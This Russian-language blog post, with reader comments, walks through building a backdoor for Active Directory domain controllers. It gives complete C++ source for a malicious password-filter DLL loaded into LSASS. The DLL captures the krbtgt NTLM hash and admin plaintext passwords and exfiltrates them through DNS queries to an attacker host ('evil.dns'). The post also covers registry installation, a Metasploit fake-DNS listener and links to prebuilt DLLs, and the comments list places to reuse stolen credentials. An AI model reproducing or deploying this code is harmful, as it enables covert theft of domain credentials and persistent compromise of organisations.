Binary backdoor in Active Directory :: Stealing passwords

До сегодняшнего дня я писал только про бэкдоры в AD на уровне приложения [1, 2, 3, 4, 5]. Подобные закладки интересны в первую очередь тем, что они имеют высокую степень живучести за счет того, что присутствуют в реплике Active Directory. Такие закладки могут пережить даже смутные времена disaster recovery, после признания админами факта компрометации AD. Но обладая привилегиями системы на контроллерах домена, появляются иные способы сохранить свое незримое присутствие не доводя админов до белого колена. Одному из таких способов и посвящена данная публикация.

В далекие времена смены шкурок формы ввода логинов и паролей (аля gina.dll) нашлись умельцы, которые приспособили эту возможность винды для аккуратного складирования используемых креденшелов в текстовый файлик (ссылка). Серьезным ограничением данного подхода являлось то, что атакующему требовалось заменить джину на всех компутерах, на которых хотелось пособирать заветные пароли. Соответственно сам перехват осуществляется в момент ввода логина и пароля.



В настоящие же дни, Microsoft, понимая, что с джиной хакерам не катит, предлагает использовать хук PasswordChangeNotify, который будучи подгруженный в LSASS на контроллере домена, позволяет собирать стабильный урожай в виде паролей пользователей домена. На эту функциональность собственно и обратил внимание Rob Fuller aka @mubix. Так появился следующий пруф, который тут же был подхвачен сообществом [тынц, тынц].


В целом можно собрать код @mubix и использовать получившуюся dll'ль для различного рода благих целей. Но этот пруф не подходит для длительного плодотворного использования. Представляете, как удивится администратор адешечки, когда сетевой администратор покажет ему логи корпоративного прокси-сервера? Хотелось бы видеть мимику его лица, но в самом начале я уже говорил, что сегодня доводить до седины админов мы не станем.

Размышляя на тему того, как максимально эффективно можно воспользоваться наработками @mubix у меня появились следующие мысли:
  • складировать пароли где-то в дебрях sysvol (отличное хранилище, но требует прав доменного пользователя и сетевого доступа к контроллеру домена при стягивании полезных данных)
  • складировать пароли где-то в дебрях каталога ldap (аналогично недостаткам с sysvol)
  • -//- где-то в dns-зоне домена (интересное решение, т.к. находятся такие умники, которые вывешивают внутренние dns-зоны в Ынтернет; с другой стороны весьма палевный способ)
  • тупо отдавать рекурсивно пароли по dns (…бинго!)

Кроме того, нам не нужны креды ВСЕХ пользователей домена, достаточно хешика krbtgt и 2-3 актуальных паролей админов, которым можно ходить на Citrix и/или VPN.

Так появился следующий код:


#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
#include <ntsecapi.h> 
#include <string>
#include <algorithm>
using namespace std;

//**********************************************
//Init values
#define INIT_A 0x67452301
#define INIT_B 0xefcdab89
#define INIT_C 0x98badcfe
#define INIT_D 0x10325476
#define SQRT_2 0x5a827999
#define SQRT_3 0x6ed9eba1

unsigned int nt_buffer[16];
unsigned int output[4];
char itoa16[17] = "0123456789ABCDEF";

char ntlmhash[33];
//**********************************************

// http://www.codeproject.com/Articles/328761/NTLM-Hash-Generator
void NTLM(PWSTR key, USHORT sizekey)
{
    //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    // Prepare the string for hash calculation
    //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    int i = 0;
 int length = sizekey;
    memset(nt_buffer, 0, 16*4);
    //The length of key need to be <= 27
    for(; i<length/2; i++)   
        nt_buffer[i] = key[2 * i] | (key[2 * i + 1] << 16);
  
    //padding
    if(length % 2 == 1)
        nt_buffer[i] = key[length - 1] | 0x800000;
    else
        nt_buffer[i] = 0x80;
    //put the length
    nt_buffer[14] = length << 4;
    //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    // NTLM hash calculation
    //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    unsigned int a = INIT_A;
    unsigned int b = INIT_B;
    unsigned int c = INIT_C;
    unsigned int d = INIT_D;
  
    /* Round 1 */
    a += (d ^ (b & (c ^ d)))  +  nt_buffer[0]  ;a = (a << 3 ) | (a >> 29);
    d += (c ^ (a & (b ^ c)))  +  nt_buffer[1]  ;d = (d << 7 ) | (d >> 25);
    c += (b ^ (d & (a ^ b)))  +  nt_buffer[2]  ;c = (c << 11) | (c >> 21);
    b += (a ^ (c & (d ^ a)))  +  nt_buffer[3]  ;b = (b << 19) | (b >> 13);
  
    a += (d ^ (b & (c ^ d)))  +  nt_buffer[4]  ;a = (a << 3 ) | (a >> 29);
    d += (c ^ (a & (b ^ c)))  +  nt_buffer[5]  ;d = (d << 7 ) | (d >> 25);
    c += (b ^ (d & (a ^ b)))  +  nt_buffer[6]  ;c = (c << 11) | (c >> 21);
    b += (a ^ (c & (d ^ a)))  +  nt_buffer[7]  ;b = (b << 19) | (b >> 13);
  
    a += (d ^ (b & (c ^ d)))  +  nt_buffer[8]  ;a = (a << 3 ) | (a >> 29);
    d += (c ^ (a & (b ^ c)))  +  nt_buffer[9]  ;d = (d << 7 ) | (d >> 25);
    c += (b ^ (d & (a ^ b)))  +  nt_buffer[10] ;c = (c << 11) | (c >> 21);
    b += (a ^ (c & (d ^ a)))  +  nt_buffer[11] ;b = (b << 19) | (b >> 13);
  
    a += (d ^ (b & (c ^ d)))  +  nt_buffer[12] ;a = (a << 3 ) | (a >> 29);
    d += (c ^ (a & (b ^ c)))  +  nt_buffer[13] ;d = (d << 7 ) | (d >> 25);
    c += (b ^ (d & (a ^ b)))  +  nt_buffer[14] ;c = (c << 11) | (c >> 21);
    b += (a ^ (c & (d ^ a)))  +  nt_buffer[15] ;b = (b << 19) | (b >> 13);
  
    /* Round 2 */
    a += ((b & (c | d)) | (c & d)) + nt_buffer[0] +SQRT_2; a = (a<<3 ) | (a>>29);
    d += ((a & (b | c)) | (b & c)) + nt_buffer[4] +SQRT_2; d = (d<<5 ) | (d>>27);
    c += ((d & (a | b)) | (a & b)) + nt_buffer[8] +SQRT_2; c = (c<<9 ) | (c>>23);
    b += ((c & (d | a)) | (d & a)) + nt_buffer[12]+SQRT_2; b = (b<<13) | (b>>19);
  
    a += ((b & (c | d)) | (c & d)) + nt_buffer[1] +SQRT_2; a = (a<<3 ) | (a>>29);
    d += ((a & (b | c)) | (b & c)) + nt_buffer[5] +SQRT_2; d = (d<<5 ) | (d>>27);
    c += ((d & (a | b)) | (a & b)) + nt_buffer[9] +SQRT_2; c = (c<<9 ) | (c>>23);
    b += ((c & (d | a)) | (d & a)) + nt_buffer[13]+SQRT_2; b = (b<<13) | (b>>19);
  
    a += ((b & (c | d)) | (c & d)) + nt_buffer[2] +SQRT_2; a = (a<<3 ) | (a>>29);
    d += ((a & (b | c)) | (b & c)) + nt_buffer[6] +SQRT_2; d = (d<<5 ) | (d>>27);
    c += ((d & (a | b)) | (a & b)) + nt_buffer[10]+SQRT_2; c = (c<<9 ) | (c>>23);
    b += ((c & (d | a)) | (d & a)) + nt_buffer[14]+SQRT_2; b = (b<<13) | (b>>19);
  
    a += ((b & (c | d)) | (c & d)) + nt_buffer[3] +SQRT_2; a = (a<<3 ) | (a>>29);
    d += ((a & (b | c)) | (b & c)) + nt_buffer[7] +SQRT_2; d = (d<<5 ) | (d>>27);
    c += ((d & (a | b)) | (a & b)) + nt_buffer[11]+SQRT_2; c = (c<<9 ) | (c>>23);
    b += ((c & (d | a)) | (d & a)) + nt_buffer[15]+SQRT_2; b = (b<<13) | (b>>19);
  
    /* Round 3 */
    a += (d ^ c ^ b) + nt_buffer[0]  +  SQRT_3; a = (a << 3 ) | (a >> 29);
    d += (c ^ b ^ a) + nt_buffer[8]  +  SQRT_3; d = (d << 9 ) | (d >> 23);
    c += (b ^ a ^ d) + nt_buffer[4]  +  SQRT_3; c = (c << 11) | (c >> 21);
    b += (a ^ d ^ c) + nt_buffer[12] +  SQRT_3; b = (b << 15) | (b >> 17);
  
    a += (d ^ c ^ b) + nt_buffer[2]  +  SQRT_3; a = (a << 3 ) | (a >> 29);
    d += (c ^ b ^ a) + nt_buffer[10] +  SQRT_3; d = (d << 9 ) | (d >> 23);
    c += (b ^ a ^ d) + nt_buffer[6]  +  SQRT_3; c = (c << 11) | (c >> 21);
    b += (a ^ d ^ c) + nt_buffer[14] +  SQRT_3; b = (b << 15) | (b >> 17);
  
    a += (d ^ c ^ b) + nt_buffer[1]  +  SQRT_3; a = (a << 3 ) | (a >> 29);
    d += (c ^ b ^ a) + nt_buffer[9]  +  SQRT_3; d = (d << 9 ) | (d >> 23);
    c += (b ^ a ^ d) + nt_buffer[5]  +  SQRT_3; c = (c << 11) | (c >> 21);
    b += (a ^ d ^ c) + nt_buffer[13] +  SQRT_3; b = (b << 15) | (b >> 17);
  
    a += (d ^ c ^ b) + nt_buffer[3]  +  SQRT_3; a = (a << 3 ) | (a >> 29);
    d += (c ^ b ^ a) + nt_buffer[11] +  SQRT_3; d = (d << 9 ) | (d >> 23);
    c += (b ^ a ^ d) + nt_buffer[7]  +  SQRT_3; c = (c << 11) | (c >> 21);
    b += (a ^ d ^ c) + nt_buffer[15] +  SQRT_3; b = (b << 15) | (b >> 17);
  
    output[0] = a + INIT_A;
    output[1] = b + INIT_B;
    output[2] = c + INIT_C;
    output[3] = d + INIT_D;
    //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    // Convert the hash to hex (for being readable)
    //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    for(i=0; i<4; i++)
    {
        int j = 0;
        unsigned int n = output[i];
        //iterate the bytes of the integer      
        for(; j<4; j++)
        {
            unsigned int convert = n % 256;
            ntlmhash[i * 8 + j * 2 + 1] = itoa16[convert % 16];
            convert = convert / 16;
            ntlmhash[i * 8 + j * 2 + 0] = itoa16[convert % 16];
            n = n / 256;
        }   
    }
    //null terminate the string
    ntlmhash[33] = 0;
}
//**********************************************

void nsping(char * host)
{

    WSADATA wsaData;
    int iResult;

    struct hostent *remoteHost;
    char *host_name;

    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult == 0) {
  host_name = host;
  remoteHost = gethostbyname(host_name);
    }
}

// Default DllMain implementation
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}
 
BOOLEAN __stdcall InitializeChangeNotify(void)
{
    return TRUE;
}
 
BOOLEAN __stdcall PasswordFilter(
    PUNICODE_STRING AccountName,
    PUNICODE_STRING FullName,
    PUNICODE_STRING Password,
    BOOLEAN SetOperation )
{
    return TRUE;
}
 
NTSTATUS __stdcall PasswordChangeNotify(
    PUNICODE_STRING UserName,
    ULONG RelativeId,
    PUNICODE_STRING NewPassword )
{

  boolean debug = FALSE;

  if (debug)
  {
 FILE* pFile = fopen("c:\\windows\\temp\\pw.tmp", "a+");
 if (NULL != pFile)
 {
   fprintf(pFile, "\r\nUser: %ws", UserName->Buffer);
   fprintf(pFile, "\r\nPassword: %ws", NewPassword->Buffer);
   fprintf(pFile, "\r\nHex: ");

   for (USHORT i = 0; i < (NewPassword->Length / 2); i++) 
   {
  fprintf(pFile, "%x ",NewPassword->Buffer[i]);
   }
   fclose(pFile);
 }
  }

  //--- nslookup

  char buffUser[100];
  sprintf(buffUser, "%ws", UserName->Buffer);
  std::string strUser(buffUser);
  std::transform(strUser.begin(), strUser.end(), strUser.begin(), ::tolower);

  if (strUser.find("krbtgt")==0)
  {
 char hostname[255];
 NTLM(NewPassword->Buffer,(NewPassword->Length / 2));
 sprintf(hostname,"%s.krbtgt.evil.dns",ntlmhash);
 nsping(hostname);
  }
  else if (strUser.find("admin")!=-1 || strUser.find("admn")!=-1)
  {
    char hostname[255];
 std::string tmppw, tmpusr;
    tmppw.reserve( NewPassword->Length * 2 );
 tmpusr.reserve( UserName->Length * 2 );

 for (USHORT i = 0; i < (UserName->Length / 2); i++) 
 {
   sprintf((char*)tmpusr.c_str(), "%s%x-",tmpusr.c_str(),UserName->Buffer[i]);
    }

 sprintf((char*)tmpusr.c_str(), "%susr",tmpusr.c_str());

 for (USHORT i = 0; i < (NewPassword->Length / 2); i++) 
 {
   sprintf((char*)tmppw.c_str(), "%s%x-",tmppw.c_str(),NewPassword->Buffer[i]);
    }

 sprintf((char*)tmppw.c_str(), "%spwd",tmppw.c_str());

 string tmpbuffpw = tmppw.c_str();
 string tmpbuffusr = tmpusr.c_str();

 for (USHORT i = 0; i < tmpbuffpw.length(); i=i+63) 
 {
   sprintf(hostname,"%s.%s.evil.dns",(tmpbuffpw.substr ( i , 63 )).c_str(),(tmpbuffusr.substr ( 0 , 63 )).c_str());
   nsping(hostname);
 }

  }

  //---

  return 0;
}


Инсталляция:

1. На всех контроллерах домена (вне зависимости от их роли!) прописаться в качестве password-фильтра

reg query HKLM\System\CurrentсontrolSet\Control\Lsa /v "Notification Packages"
reg add HKLM\System\CurrentcontrolSet\Control\Lsa /v "Notification Packages" /t REG_MULTI_SZ /d scecli\0RASSFM\0evilpassfilter /f

2. Зарегистрировать dns-имя и на ns-сервере поднять, например, msf fakedns

msf > use auxiliary/server/fakedns
msf auxiliary(fakedns) > run

3. Сребутать все котроллеры домена 8)

ЗЫ. clymb3r в свое время сумел подгрузить password-фильтр без ребута системы, однако у мну эта магия не взлетела(( стукнитесь, если у кого получится.




Для экспериментов можно использовать следующие сборки [evilpassfilter.dll, evilpassfilter_x64.dll]. Данные билды никуда не пересылают пароли, а только лишь аккуратно складывают их в файлик c:\windows\temp\pw.tmp

MD5 (evilpassfilter.dll) = d9d210c382155a9f50e051a1a3a9d5a6
MD5 (evilpassfilter_x64.dll) = ac53dc59933d0ce6ef6058fc1340caef

6 комментариев :

  1. Феерический пост. Надо стать админом на всех машинах чтобы собирать пароли. А лучше стать админом в AD и тогда в домене можно собирать пароли.

    По аналогии надо рассказывать что надо стать root чтобы снифить пароли.

    Дыра, такая дыра.

    Очередная страшилка не стоящая трафика потраченного на загрузку страницы.

    ОтветитьУдалить
    Ответы
    1. Вопрос, в каких местах доступных из интернета, можно использовать креденшелсы вытащенные из внутренней сети?

      Мне в голову приходит всякая owa и RDP (если есть).

      Удалить
    2. VPN, CITRIX, POP(S), IMAP(S), SharePoint (+другие веб-приложения, в которых аутентификация по домену), SSH (которые завязаны на домен), а дальше недостатки МСЭ и вылезают прочие протоколы в т.ч. SMB

      Удалить
  2. а чем сканировать сеть на такие приложения?
    sharepoint и прочие.
    Каким сканером можно найти такие службы в сети?

    ОтветитьУдалить